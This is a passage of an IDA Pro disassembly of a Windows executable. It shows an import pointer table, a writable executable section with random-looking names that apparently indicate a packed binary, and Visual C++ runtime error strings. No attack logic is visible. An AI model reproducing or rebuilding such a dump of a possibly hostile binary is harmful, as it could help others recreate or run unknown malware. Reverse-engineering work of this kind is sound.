loc_41DE46:				; DATA XREF: .text:0040D470o
		mov	dword_425AE4, offset off_41E304
		mov	ecx, offset dword_425AE4
		jmp	sub_40D0AF
; ---------------------------------------------------------------------------
		align 200h
_text		ends

; Section 2. (virtual address 0001E000)
; Virtual size			: 00005000 (  20480.)
; Section size in file		: 00005000 (  20480.)
; Offset to raw	data for section: 0001E000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
ev73vtp2	segment	para public 'CODE' use32
		assume cs:ev73vtp2
		;org 41E000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_41E000	dd 77DD5C55h		; DATA XREF: sub_405136+39r
					; kgbikm34:004475A8r ...
off_41E004	dd offset sub_4478CD	; DATA XREF: sub_405136+1Br
					; sub_4051EF+1Fr
off_41E008	dd offset sub_44D9CE	; DATA XREF: sub_40518A+31r
off_41E00C	dd offset sub_4407E7	; DATA XREF: sub_4051EF+4Dr
dword_41E010	dd 77DD189Ah		; DATA XREF: sub_40140A+14Dr
					; sub_40158F+1C4r ...
off_41E014	dd offset sub_44BBED	; DATA XREF: sub_401970+Er
					; sub_44BBED:loc_438B5Br ...
off_41E018	dd offset sub_44CD31	; DATA XREF: sub_40158F+9Fr
					; sub_40158F+1B0r ...
off_41E01C	dd offset sub_443E5C	; DATA XREF: sub_4019FC+82r
					; sub_441DDE+4w ...
off_41E020	dd offset sub_43C17B	; DATA XREF: sub_40140A+5Dr
					; sub_43C17B+5r ...
off_41E024	dd offset sub_44DE1A	; DATA XREF: sub_40158F+159r
					; kgbikm34:0043DDF3w ...
off_41E028	dd offset sub_441F0A	; DATA XREF: sub_4019FC+24r
					; sub_441F0A+5r ...
off_41E02C	dd offset sub_449F77	; DATA XREF: sub_40140A+96r
					; sub_40158F+81r ...
off_41E030	dd offset sub_437A49	; DATA XREF: sub_401000+1D0r
					; sub_437A49+5r ...
off_41E034	dd offset sub_44BBB0	; DATA XREF: sub_401000+202r
					; sub_401000+287r ...
off_41E038	dd offset sub_44B68D	; DATA XREF: sub_401000+1B4r
					; kgbikm34:004417C6r ...
off_41E03C	dd offset sub_4438AC	; DATA XREF: sub_40158F+17Dr
					; kgbikm34:0043C81Ew ...
off_41E040	dd offset sub_43C832	; DATA XREF: sub_40158F+B0r
					; kgbikm34:0043F9F5w ...
off_41E044	dd offset sub_438B89	; DATA XREF: sub_40158F+16Fr
					; kgbikm34:004384CCw ...
off_41E048	dd offset sub_443AFD	; DATA XREF: .text:00409122r
					; kgbikm34:0043ADCFw ...
		align 10h
off_41E050	dd offset sub_43B89E	; DATA XREF: sub_402AC0+29r
					; sub_403879+27Cr ...
dword_41E054	dd 77E802FCh		; DATA XREF: sub_402AF2+Br
					; sub_415345+5Dr ...
off_41E058	dd offset sub_44A065	; DATA XREF: sub_4024ED+8Br
					; sub_44AD10-F66Cw ...
dword_41E05C	dd 77E704FCh		; DATA XREF: sub_402592+A1r
					; sub_40306A+37r ...
dword_41E060	dd 77E7A099h		; DATA XREF: sub_402592+6Ar
					; sub_404954+19Dr ...
off_41E064	dd offset sub_43E64C	; DATA XREF: sub_402AF2+19r
					; kgbikm34:004370F9w ...
dword_41E068	dd 77E7C657h		; DATA XREF: sub_402966+24r
					; sub_404954+3A8r ...
dword_41E06C	dd 77E7A837h		; DATA XREF: sub_403186+288r
					; sub_408ADE+AAr ...
off_41E070	dd offset sub_4471F5	; DATA XREF: sub_403186+298r
					; kgbikm34:00441860w ...
off_41E074	dd offset sub_43D20A	; DATA XREF: sub_403186+2CBr
					; sub_416F7E+40r ...
off_41E078	dd offset sub_44DA77	; DATA XREF: sub_403186+2DBr
					; .text:00409944r ...
off_41E07C	dd offset sub_442E10	; DATA XREF: sub_404954+35Er
					; sub_408355+5Er ...
off_41E080	dd offset sub_440116	; DATA XREF: sub_404954+1F8r
					; kgbikm34:00438954w ...
off_41E084	dd offset sub_438968	; DATA XREF: sub_404954+33Dr
					; sub_438968+5r ...
dword_41E088	dd 77E79D8Ch		; DATA XREF: sub_405257+99r
					; sub_408ADE+107r ...
off_41E08C	dd offset sub_43EFD8	; DATA XREF: sub_407FA4+20r
					; sub_40819D+42r ...
off_41E090	dd offset sub_449D59	; DATA XREF: sub_4026EE+17Ar
					; sub_404954+36Cr ...
off_41E094	dd offset sub_444600	; DATA XREF: sub_4083C9+8r
					; kgbikm34:004377DEr
off_41E098	dd offset sub_444C02	; DATA XREF: .text:004090C3r
					; sub_444C02+5r ...
off_41E09C	dd offset sub_44D815	; DATA XREF: .text:00409D75r
					; sub_43D4D5+9r ...
dword_41E0A0	dd 77E77CCEh		; DATA XREF: sub_41407D+3E7r
					; sub_416217:loc_4162C4r ...
off_41E0A4	dd offset sub_44A5DA	; DATA XREF: sub_409EBD+26Fr
					; sub_44DA2B-169E2w ...
off_41E0A8	dd offset sub_43705D	; DATA XREF: sub_41A617+14Cr
					; kgbikm34:0043B259w ...
off_41E0AC	dd offset sub_43B26D	; DATA XREF: sub_41A54C+45r
					; kgbikm34:loc_43C53Dw	...
off_41E0B0	dd offset sub_43C551	; DATA XREF: sub_41A54C+78r
					; sub_43C551+5r ...
off_41E0B4	dd offset sub_449E48	; DATA XREF: sub_41A54C+9Br
					; kgbikm34:loc_438585r	...
off_41E0B8	dd offset sub_43969A	; DATA XREF: sub_41917B+8Cr
					; sub_43969A+5r ...
off_41E0BC	dd offset sub_43A24E	; DATA XREF: sub_418DAB:loc_418DFFr
					; sub_418E28:loc_418E80r ...
off_41E0C0	dd offset sub_43CBF7	; DATA XREF: sub_404954+A0r
					; sub_40D222+AAr ...
dword_41E0C4	dd 77E79824h		; DATA XREF: sub_401B47+39r
					; kgbikm34:0044862Br ...
dword_41E0C8	dd 77E7C4B7h		; DATA XREF: sub_401B47+50r
					; sub_444051-A5D2w ...
dword_41E0CC	dd 77E79E4Bh		; DATA XREF: sub_401B47+73r
					; kgbikm34:loc_43BA1Bw	...
dword_41E0D0	dd 77E79C90h		; DATA XREF: sub_401B47+13r
					; sub_40D222+D9r ...
off_41E0D4	dd offset sub_442253	; DATA XREF: sub_401000+343r
					; sub_404954+2C4r ...
off_41E0D8	dd offset sub_43F64B	; DATA XREF: sub_401871+4Br
					; sub_43F64B+5r ...
off_41E0DC	dd offset sub_43CC81	; DATA XREF: sub_401800+4Br
					; sub_43F524:loc_43FFC6w ...
dword_41E0E0	dd 77E77963h		; DATA XREF: sub_401000+222r
					; sub_401000+3AAr ...
dword_41E0E4	dd 77E77CC4h		; DATA XREF: sub_401000:loc_4013E4r
					; sub_408ADE:loc_408D17r ...
dword_41E0E8	dd 77E79F93h		; DATA XREF: sub_401000+22r
					; sub_402592+63r ...
off_41E0EC	dd offset sub_43AD9F	; DATA XREF: sub_401000+E1r
					; sub_404954+56r ...
off_41E0F0	dd offset sub_4372E5	; DATA XREF: sub_401000+39r
					; sub_404954+5Dr ...
dword_41E0F4	dd 77F5157Dh		; DATA XREF: sub_401000+1C1r
					; sub_401970+3Er ...
off_41E0F8	dd offset sub_441D2F	; DATA XREF: sub_401000+326r
					; sub_40D222+E0r ...
off_41E0FC	dd offset sub_445660	; DATA XREF: sub_401000+335r
					; sub_401000+3B7r ...
dword_41E100	dd 77E77CB7h		; DATA XREF: .text:0040E4DBr
					; sub_41A617+67r ...
off_41E104	dd offset sub_44D8ED	; DATA XREF: sub_401000:loc_40119Fr
					; sub_443005+Bw ...
dword_41E108	dd 77E7751Ah		; DATA XREF: sub_4019FC+Cr
					; sub_40479C+36r ...
dword_41E10C	dd 77F51597h		; DATA XREF: sub_40DBA6+68r
					; .text:0040E510r ...
off_41E110	dd offset sub_439852	; DATA XREF: sub_40819D+177r
					; sub_408355+1Cr ...
dword_41E114	dd 77F516F8h		; DATA XREF: sub_40DC83+Fr
					; .text:0040E4E4r ...
off_41E118	dd offset sub_44589D	; DATA XREF: sub_41711A+11Dr
					; kgbikm34:0043B3EAw ...
off_41E11C	dd offset sub_443681	; DATA XREF: sub_41711A:loc_417253r
					; sub_443681:loc_448E25w ...
off_41E120	dd offset sub_448E39	; DATA XREF: .text:00416DC8r
					; kgbikm34:00442B9Cr
dword_41E124	dd 77E7C866h		; DATA XREF: sub_4165FC+2Dr
					; sub_4165FC+11Cr ...
off_41E128	dd offset sub_43F5E7	; DATA XREF: sub_4165FC+191r
					; sub_43F5F7-6754w ...
dword_41E12C	dd 77E781F9h		; DATA XREF: sub_416217+30r
					; sub_416217+144r ...
off_41E130	dd offset sub_43EF3C	; DATA XREF: sub_416217+294r
					; sub_416217+365r ...
dword_41E134	dd 77E77EE1h		; DATA XREF: sub_4151C8+Br
					; kgbikm34:0043CBAEr
dword_41E138	dd 77E79924h		; DATA XREF: sub_4151C8:loc_415242r
					; sub_416217+216r ...
dword_41E13C	dd 77E7C9E1h		; DATA XREF: sub_4151C8+CCr
					; kgbikm34:loc_438B0Ar	...
off_41E140	dd offset sub_43C257	; DATA XREF: sub_4151C8:loc_4152A6r
					; sub_43C257+5r ...
off_41E144	dd offset sub_43D114	; DATA XREF: sub_4151C8+10Fr
					; sub_4151C8+126r ...
dword_41E148	dd 77E78406h		; DATA XREF: sub_412AB4+12Br
					; sub_412AB4+1C7r ...
dword_41E14C	dd 77E79C3Dh		; DATA XREF: sub_412AB4+1B5r
					; sub_413D84+169r ...
dword_41E150	dd 77E7C931h		; DATA XREF: sub_412AB4+21Fr
					; kgbikm34:loc_4374DDr	...
off_41E154	dd offset sub_43CB0F	; DATA XREF: sub_410344+27r
					; sub_417C80+134r ...
off_41E158	dd offset sub_44BB85	; DATA XREF: sub_410344+77r
					; sub_4103F4+52r ...
off_41E15C	dd offset sub_43ED0B	; DATA XREF: sub_410030+22Fr
					; sub_43ED0B+5r ...
dword_41E160	dd 77E7C726h		; DATA XREF: sub_40FF63+11r
					; kgbikm34:0043A7D1w ...
off_41E164	dd offset sub_44AA5A	; DATA XREF: sub_40FF63+47r
					; kgbikm34:0043EE8Fw ...
dword_41E168	dd 77F7E21Fh		; DATA XREF: sub_40FED7+28r
					; sub_412430+28r ...
dword_41E16C	dd 77F7E300h		; DATA XREF: sub_40FDFF+Dr
					; sub_412482+28r ...
off_41E170	dd offset sub_43F6BB	; DATA XREF: sub_40FDAA+1r
					; sub_418100+62r ...
dword_41E174	dd 77F51587h		; DATA XREF: sub_40F7FB+78r
					; sub_416DD4+ABr ...
off_41E178	dd offset sub_43BC91	; DATA XREF: sub_40F70A+2Br
					; sub_40F9B7+85r ...
dword_41E17C	dd 77E79B39h		; DATA XREF: sub_40F6E0+23r
					; sub_40F9B7+58r ...
dword_41E180	dd 77E7C5B4h		; DATA XREF: sub_40F6D7r
					; sub_40F9B7:loc_40FA56r ...
dword_41E184	dd 77E78B61h		; DATA XREF: sub_40F608+7r
					; sub_40F674+7r ...
off_41E188	dd offset sub_44A80D	; DATA XREF: sub_40EF25+27r
					; kgbikm34:0044B4BEr
dword_41E18C	dd 77E7A13Fh		; DATA XREF: sub_40EF25+4Ar
					; sub_43D494:loc_438B2Fw ...
dword_41E190	dd 77E778C5h		; DATA XREF: sub_40EE81+59r
					; sub_40F14A+76r ...
dword_41E194	dd 77E777EFh		; DATA XREF: sub_40EE81+84r
					; sub_40F14A+95r ...
dword_41E198	dd 77E7849Fh		; DATA XREF: sub_40ECF7+24r
					; sub_40EF9F+56r ...
off_41E19C	dd offset sub_44710C	; DATA XREF: sub_41D9E6r
					; kgbikm34:00440A91w ...
off_41E1A0	dd offset sub_44180E	; DATA XREF: sub_40E69C+40r
					; sub_4198BA+222r ...
off_41E1A4	dd offset sub_43D045	; DATA XREF: .text:0040E4C6r
					; sub_412AB4+15r
off_41E1A8	dd offset sub_440380	; DATA XREF: .text:loc_40E5BFr
off_41E1AC	dd offset sub_44A19C	; DATA XREF: sub_40DAE3+9r
					; sub_415345+35r
dword_41E1B0	dd 77E7C9E7h		; DATA XREF: sub_40D222+B4r
					; sub_40EB6F+CEr ...
dword_41E1B4	dd 77F522F2h		; DATA XREF: sub_40CA3B+82r
					; kgbikm34:0043FFA0r
dword_41E1B8	dd 77E80656h		; DATA XREF: sub_40CADEr
					; sub_415345+41r ...
off_41E1BC	dd offset sub_43AF38	; DATA XREF: sub_40D222+BEr
					; sub_40EB6F+D9r ...
		dd 0
dword_41E1C4	dd 71B2ACCBh		; DATA XREF: sub_40AF20r
		dd 0
dword_41E1CC	dd 77CDAF8Dh		; DATA XREF: sub_4091D2+11Dr
dword_41E1D0	dd 77CDCE5Dh		; DATA XREF: sub_4091D2+56r
dword_41E1D4	dd 77CC4008h		; DATA XREF: sub_4091D2+D7r
dword_41E1D8	dd 77CDCFB0h		; DATA XREF: sub_4091D2+67r
dword_41E1DC	dd 77CDC9B5h		; DATA XREF: sub_4091D2+75r
					; sub_4091D2+CDr ...
dword_41E1E0	dd 77D0BC44h		; DATA XREF: sub_4091D2+BFr
dword_41E1E4	dd 77D0BE59h		; DATA XREF: sub_4091D2+F8r
dword_41E1E8	dd 77CD8989h		; DATA XREF: sub_4091D2+10Cr
		align 10h
dword_41E1F0	dd 77428B97h		; DATA XREF: sub_402592+148r
					; sub_408ADE+1E3r
		align 8
off_41E1F8	dd offset sub_441B8F	; DATA XREF: sub_40479C+30r
					; kgbikm34:00439B3Ar ...
off_41E1FC	dd offset sub_43BCC7	; DATA XREF: sub_402F48+A5r
					; sub_446B23+9r
off_41E200	dd offset sub_44DC7B	; DATA XREF: sub_402F48+67r
					; sub_43C04F+4w ...
off_41E204	dd offset sub_43C067	; DATA XREF: sub_402F48+Cr
					; kgbikm34:004391B7w ...
off_41E208	dd offset sub_4391CB	; DATA XREF: sub_402F48+B1r
					; sub_4391CB+5r
off_41E20C	dd offset sub_44A111	; DATA XREF: sub_40301F+Dr
					; sub_43F461+60A6w ...
off_41E210	dd offset sub_43F240	; DATA XREF: sub_402F48+BBr
					; kgbikm34:00437AA9w ...
off_41E214	dd offset sub_437ABD	; DATA XREF: sub_402F48+4Ar
					; sub_447135-AE73w ...
off_41E218	dd offset sub_44B6D1	; DATA XREF: sub_402F48+94r
					; kgbikm34:0044758Fw ...
		align 10h
dword_41E220	dd 7620BD61h		; DATA XREF: sub_408ADE+EBr
dword_41E224	dd 76214750h		; DATA XREF: sub_408ADE+7Dr
dword_41E228	dd 7620AFB6h		; DATA XREF: sub_408ADE+39r
		align 10h
dword_41E230	dd 71AB12F8h		; DATA XREF: sub_4022A6+79r
dword_41E234	dd 71AB1746h		; DATA XREF: sub_4022A6+66r
					; sub_40306A+B1r ...
dword_41E238	dd 71AB5690h		; DATA XREF: sub_4022A6+D8r
					; sub_403186+86r ...
dword_41E23C	dd 71AB3C22h		; DATA XREF: sub_4022A6+2Dr
					; sub_40306A+74r ...
dword_41E240	dd 71AB1A6Dh		; DATA XREF: sub_4022A6+22Fr
					; sub_40306A:loc_4030EFr ...
dword_41E244	dd 71AB1AF4h		; DATA XREF: sub_4022A6+BBr
					; sub_4022A6+F7r ...
dword_41E248	dd 71ABD755h		; DATA XREF: sub_403186+439r
dword_41E24C	dd 71ABF628h		; DATA XREF: sub_403186+409r
dword_41E250	dd 71AB2BBFh		; DATA XREF: sub_403879+87r
dword_41E254	dd 71AB3E5Dh		; DATA XREF: sub_4022A6+8Fr
					; sub_403879+122r ...
dword_41E258	dd 71AB41DAh		; DATA XREF: sub_404954+401r
dword_41E25C	dd 71AB1ED3h		; DATA XREF: sub_407FA4+F3r
dword_41E260	dd 71AB3F8Dh		; DATA XREF: sub_40819D+57r
dword_41E264	dd 71AB1746h		; DATA XREF: sub_407FA4+12Dr
					; sub_407FA4+143r ...
dword_41E268	dd 71AB1890h		; DATA XREF: sub_40819D+105r
					; sub_40A913+8Fr
dword_41E26C	dd 71AB1444h		; DATA XREF: sub_407FA4+118r
					; sub_40819D+142r
dword_41E270	dd 71AB401Ch		; DATA XREF: sub_407FA4+199r
					; sub_40936F+E7r ...
dword_41E274	dd 71AB155Ah		; DATA XREF: sub_40A913+54r
dword_41E278	dd 71AB157Eh		; DATA XREF: sub_4028E8+3Cr
dword_41E27C	dd 71AB868Dh		; DATA XREF: sub_40301F+34r
dword_41E280	dd 71AB1836h		; DATA XREF: sub_404954:loc_404E2Fr
dword_41E284	dd 71AB5DE2h		; DATA XREF: sub_40306A+105r
dword_41E288	dd 71AB3ECEh		; DATA XREF: sub_40306A+D0r
					; sub_40819D+A3r
dword_41E28C	dd 71AB60C9h		; DATA XREF: sub_40306A+F3r
		dd 0
dword_41E294	dd 0			; DATA XREF: sub_4120C9+49o
		dd offset loc_41DCA8, offset loc_41DCC5, offset	loc_41DCE2
		dd offset loc_41DCFE, offset loc_41DD1A, offset	loc_41DD36
		dd offset loc_41DD52, offset loc_41DD60, offset	loc_41DD7C
		dd offset loc_41DD98
dword_41E2C0	dd 0			; DATA XREF: sub_4120C9+50o
dword_41E2C4	dd 0			; DATA XREF: sub_4120C9+2Do
		dd offset sub_40D19B, offset sub_40F2E4, offset	sub_411935
		dd offset sub_41235F, offset sub_417B55, offset	sub_415445
dword_41E2E0	dd 0			; DATA XREF: sub_4120C9+28o
dword_41E2E4	dd 0			; DATA XREF: sub_41215B+73o
		dd offset sub_41B4BA, offset sub_412410
dword_41E2F0	dd 0			; DATA XREF: sub_41215B:loc_4121C9o
dword_41E2F4	dd 0			; DATA XREF: sub_41215B+83o
		dd offset sub_415466
dword_41E2FC	dd 0			; DATA XREF: sub_41215B:loc_4121D9o
		dd offset dword_421710
off_41E304	dd offset loc_401C19, offset sub_40D0C5, offset	dword_421790
					; DATA XREF: sub_401C0Eo
					; .text:00401C1Co ...
off_41E310	dd offset loc_401C9B, offset sub_401C8D, offset	dword_4217DC
					; DATA XREF: sub_401C3B+20o
					; sub_401C70+Ao ...
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		align 10h
		dd offset sub_401C8D, offset dword_42182C
off_41E328	dd offset loc_40AF36, offset sub_401C8D	; DATA XREF: sub_40AF2Bo
					; .text:0040AF39o ...
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_40AF58+Co
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_40AF97+Co
		dd offset dword_42187C
off_41E35C	dd offset sub_40D0D2, offset sub_40D0C5	; DATA XREF: sub_40CFE0+Ao
					; sub_40CFF1+9o ...
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_40D0C5+7o
		align 4
		dd offset dword_421890
off_41E37C	dd offset sub_40D3E0	; DATA XREF: sub_40D3D2+1o
					; .data:off_423008o ...
oword_41E380	xmmword	3FF00000000000003FF0000000000000h ; DATA XREF: sub_40E330+E3r
					; sub_40E330+10Ar
oword_41E390	xmmword	4330000000000000433h ; DATA XREF: sub_40E330+46r
oword_41E3A0	xmmword	0		; DATA XREF: sub_40E330:loc_40E431r
oword_41E3B0	xmmword	7FFh		; DATA XREF: sub_40E330+5Fr
dbl_41E3C0	db 0, 0, 0, 0, 0, 0, 0,	80h ; DATA XREF: sub_40E330:loc_40E42Ar
dword_41E3C8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_40E69C+Eo
		dd 3, 19930520h, 2 dup(0)
dword_41E3E8	dd 425B00h, 425B58h, 4030201h, 8070605h, 0C0B0A09h, 100F0E0Dh
					; DATA XREF: sub_40EB6F+D4o
		dd 14131211h, 18171615h, 1C1B1A19h, 201F1E1Dh, 24232221h
		dd 28272625h, 2C2B2A29h, 302F2E2Dh, 34333231h, 38373635h
		dd 3C3B3A39h, 403F3E3Dh, 44434241h, 48474645h, 4C4B4A49h
		dd 504F4E4Dh, 54535251h, 58575655h, 5C5B5A59h, 605F5E5Dh
		dd 64636261h, 68676665h, 6C6B6A69h, 706F6E6Dh, 74737271h
		dd 78777675h, 7C7B7A79h, 7F7E7Dh, 3Dh
aEncodepointer	db 'EncodePointer',0    ; DATA XREF: sub_40F608+43o
					; sub_40F747+2Eo
		align 4
aKernel32_dll_0	db 'KERNEL32.DLL',0     ; DATA XREF: sub_40F608:loc_40F63Co
					; sub_40F674:loc_40F6A8o ...
		align 4
aDecodepointer	db 'DecodePointer',0    ; DATA XREF: sub_40F674+43o
					; sub_40F747+42o
		align 4
aFlsfree	db 'FlsFree',0          ; DATA XREF: sub_40F9B7+44o
aFlssetvalue	db 'FlsSetValue',0      ; DATA XREF: sub_40F9B7+37o
aFlsgetvalue	db 'FlsGetValue',0      ; DATA XREF: sub_40F9B7+2Ao
dword_41E4C4	dd 41736C46h		; DATA XREF: sub_40F9B7+22o
byte_41E4C8	db 6Ch			; DATA XREF: sub_410EB7+177r
		db 6Ch,	6Fh, 63h
		align 10h
aNull:					; DATA XREF: .data:off_423928o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .data:off_423924o
		align 4
byte_41E4E8	db 6			; DATA XREF: sub_410EB7:loc_411040r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38202800h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707800h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aCorexitprocess	db 'CorExitProcess',0   ; DATA XREF: sub_411FD1+Fo
		align 4
aMscoree_dll	db 'mscoree.dll',0      ; DATA XREF: sub_411FD1o
aCcs		db 'ccs=',0             ; DATA XREF: sub_4124D4+1CCo
		align 4
aUtf8		db 'UTF-8',0            ; DATA XREF: sub_4124D4+1E0o
		align 10h
aUtf16le	db 'UTF-16LE',0         ; DATA XREF: sub_4124D4:loc_4126D1o
		align 4
aUnicode	db 'UNICODE',0          ; DATA XREF: sub_4124D4:loc_4126EEo
aRuntimeError	db 'runtime error ',0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 8
aR6034AnApplica	db 'R6034',0Dh,0Ah
		db 'An application has made an attempt to load the C runtime library '
		db 'incorrectly.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 8
aR6033AttemptTo	db 'R6033',0Dh,0Ah
		db '- Attempt to use MSIL code from this assembly during native code '
		db 'initialization',0Ah
		db 'This indicates a bug in your application. It is most likely the r'
		db 'esult of calling an MSIL-compiled (/clr) function from a native c'
		db 'onstructor or from DllMain.',0Dh,0Ah,0
		align 10h
aR6032NotEnough	db 'R6032',0Dh,0Ah
		db '- not enough space for locale information',0Dh,0Ah,0
		align 8
aR6031AttemptTo	db 'R6031',0Dh,0Ah
		db '- Attempt to initialize the CRT more than once.',0Ah
		db 'This indicates a bug in your application.',0Dh,0Ah,0
		align 4
aR6030CrtNotIni	db 'R6030',0Dh,0Ah
		db '- CRT not initialized',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio	db 0Dh,0Ah
		db 'This application has requested the Runtime to terminate it in an '
		db 'unusual way.',0Ah
		db 'Please contact the application',27h,'s support team for more informa'
		db 'tion.',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .data:off_423BE4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_413D84+157o
		align 10h
asc_41EB00	db 0Ah			; DATA XREF: sub_413D84:loc_413E94o
		db 0Ah,0
		align 4
a___		db '...',0              ; DATA XREF: sub_413D84+E8o
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_413D84+A3o
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_413D84+5Bo
		db 0Ah
		db 'Program: ',0
		align 4
		dd 2 dup(0)
		dd 7FF00000h, 0
		dd 0FFF00000h, 0
		dd 7FE00000h, 0
		dd 200000h, 3 dup(0)
		dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h,	0FFC00000h
		dd 0
		dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h,	8DA24260h
		dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
dword_41EBA8	dd 6E6174h		; DATA XREF: sub_41494F:loc_414B87o
dword_41EBAC	dd 736F63h		; DATA XREF: sub_41494F:loc_414B7Eo
dword_41EBB0	dd 6E6973h		; DATA XREF: sub_41494F:loc_414B75o
aModf		db 'modf',0             ; DATA XREF: sub_41494F:loc_414B69o
		align 4
aFloor		db 'floor',0            ; DATA XREF: sub_41494F:loc_414B5Do
		align 4
aCeil		db 'ceil',0             ; DATA XREF: sub_41494F:loc_414B54o
		align 4
aAtan		db 'atan',0             ; DATA XREF: sub_41494F:loc_414B4Bo
		align 4
aExp10		db 'exp10',0            ; DATA XREF: sub_41494F+1BFo
		align 10h
dbl_41EBE0	dq 1.0			; DATA XREF: sub_414BFF+6Dr
aAcos		db 'acos',0             ; DATA XREF: sub_41494F:loc_414AD2o
		align 10h
aAsin		db 'asin',0             ; DATA XREF: sub_41494F:loc_414AC9o
		align 4
aLog		db 'log',0              ; DATA XREF: sub_41494F:loc_414A8Co
					; sub_41494F+149o ...
aLog10		db 'log10',0            ; DATA XREF: sub_41494F:loc_414A65o
					; sub_41494F+131o ...
		align 4
aExp		db 'exp',0              ; DATA XREF: sub_41494F:loc_414A2Co
					; sub_41494F+10Do ...
aPow		db 'pow',0              ; DATA XREF: sub_41494F:loc_4149F7o
					; sub_41494F:loc_414AA4o ...
off_41EC0C	dd offset sub_41567D	; DATA XREF: sub_410B20+F1r
					; sub_410B20+FAo ...
		dd offset dword_4218D8
off_41EC14	dd offset loc_415495, offset sub_40D0C5	; DATA XREF: sub_41548Ao
					; .text:00415498o ...
dword_41EC1C	dd 20646162h, 65637865h, 6F697470h, 6Eh	; DATA XREF: sub_415CC2+156o
dword_41EC2C	dd 41h dup(0)		; DATA XREF: sub_416217+25o
					; sub_4165FC+27o
asc_41ED30:				; DATA XREF: .data:off_423668o
		unicode	0, <	     (((((		    H>
		dw 10h
		dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
		dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
		dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
		dd 100010h, 200010h, 40h dup(0)
		dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h
		dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h)
		dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h)
		dd 3 dup(100010h), 3 dup(1820182h), 0Ah	dup(1020102h)
		dd 2 dup(100010h), 10h dup(200020h), 480020h, 8	dup(100010h)
		dd 140010h, 100014h, 2 dup(100010h), 100014h, 2	dup(100010h)
		dd 1010010h, 0Bh dup(1010101h),	1010010h, 3 dup(1010101h)
		dd 0Ch dup(1020102h), 1020010h,	3 dup(1020102h), 1010102h
		dd 0
		dd 83828180h, 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h
		dd 97969594h, 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h,	0A7A6A5A4h
		dd 0ABAAA9A8h, 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h
		dd 0BFBEBDBCh, 0C3C2C1C0h, 0C7C6C5C4h, 0CBCAC9C8h, 0CFCECDCCh
		dd 0D3D2D1D0h, 0D7D6D5D4h, 0DBDAD9D8h, 0DFDEDDDCh, 0E3E2E1E0h
		dd 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h, 0F7F6F5F4h
		dd 0FBFAF9F8h, 0FFFEFDFCh, 3020100h, 7060504h, 0B0A0908h
		dd 0F0E0D0Ch, 13121110h, 17161514h, 1B1A1918h, 1F1E1D1Ch
		dd 23222120h, 27262524h, 2B2A2928h, 2F2E2D2Ch, 33323130h
		dd 37363534h, 3B3A3938h, 3F3E3D3Ch, 63626140h, 67666564h
		dd 6B6A6968h, 6F6E6D6Ch, 73727170h, 77767574h, 5B7A7978h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
